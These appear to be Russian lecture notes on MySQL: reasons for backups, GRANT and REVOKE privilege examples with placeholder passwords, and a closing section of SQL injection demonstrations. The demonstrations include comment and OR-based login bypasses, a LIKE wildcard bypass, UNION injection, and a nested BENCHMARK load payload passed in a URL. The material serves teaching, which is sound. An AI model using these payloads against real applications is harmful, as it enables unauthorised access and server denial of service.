Резервное копирование: Зачем?
- Восстановление после аварии
- Человек передумал
- Аудит
- Тестирование
Объектные привилегии разрешают доступ к конкретным объектам.
Глобальные привилегии позволяют что-то делать с самим сервером.
GRANT [privileges] ON [objects] TO [user];
GRANT [privileges] ON [objects] TO [user] IDENTIFIED BY [password];
REVOKE [privileges] ON [objects] FROM [user];
GRANT ALL PRIVILEGES ON *.* TO root@localhost
IDENTIFIED BY 'p4ssword' WITH GRANT OPTION;GRANT ALL PRIVILEGES ON *.* TO john@localhost
IDENTIFIED BY 'p4ssword' WITH GRANT OPTION;GRANT INSERT, UPDATE ON widgets.orders TO 'tera'@'%.widgets.example.com'
IDENTIFIED BY 'p4ssword';GRANT INSERT ON logs.* TO 'logger'@'%.widgets.example.com'
IDENTIFIED BY 'p4ssword';GRANT SELECT, LOCK TABLES, FILE ON *.* TO 'backup'@'localhost'
IDENTIFIED BY 'p4ssword';GRANT PROCESS, SHUTDOWN on *.* TO 'noc'@'monitorserver.noc.example.com'
IDENTIFIED BY 'p4ssword';GRANT SELECT ON *.* TO 'homer' IDENTIFIED BY 'Simps0n';
REVOKE SELECT ON sakila.film FROM 'homer';
-- ERROR 1147 (42000): There is no such grant defined
-- for user 'homer' on host '%' on table 'film'
GRANT SELECT ON sakila.* TO 'homer';
REVOKE ALL PRIVILEGES ON sakila.* FROM 'homer';
DROP USER 'homer';
SELECT * FROM news WHERE id='$id'SELECT * FROM news WHERE id='1''
SELECT * FROM news WHERE id='1' -- '
SELECT * FROM users
WHERE login='$login' AND pass='$pass'
SELECT * FROM users
WHERE login='Admin' -- ' AND pass='123'
SELECT * FROM users
WHERE login='Admin' AND pass='123' OR login='Admin' -- '
SELECT * FROM users
WHERE (login='Admin' AND pass='123') OR (login='Admin')
SELECT * FROM users
WHERE login LIKE 'Admin' AND pass LIKE '123'
SELECT * FROM users
WHERE login LIKE 'Admin' AND pass LIKE '%'
SELECT * FROM news WHERE id='1' UNION SELECT 1 --SELECT BENCHMARK(100000,md5(current_time));
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(current_time)));
http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --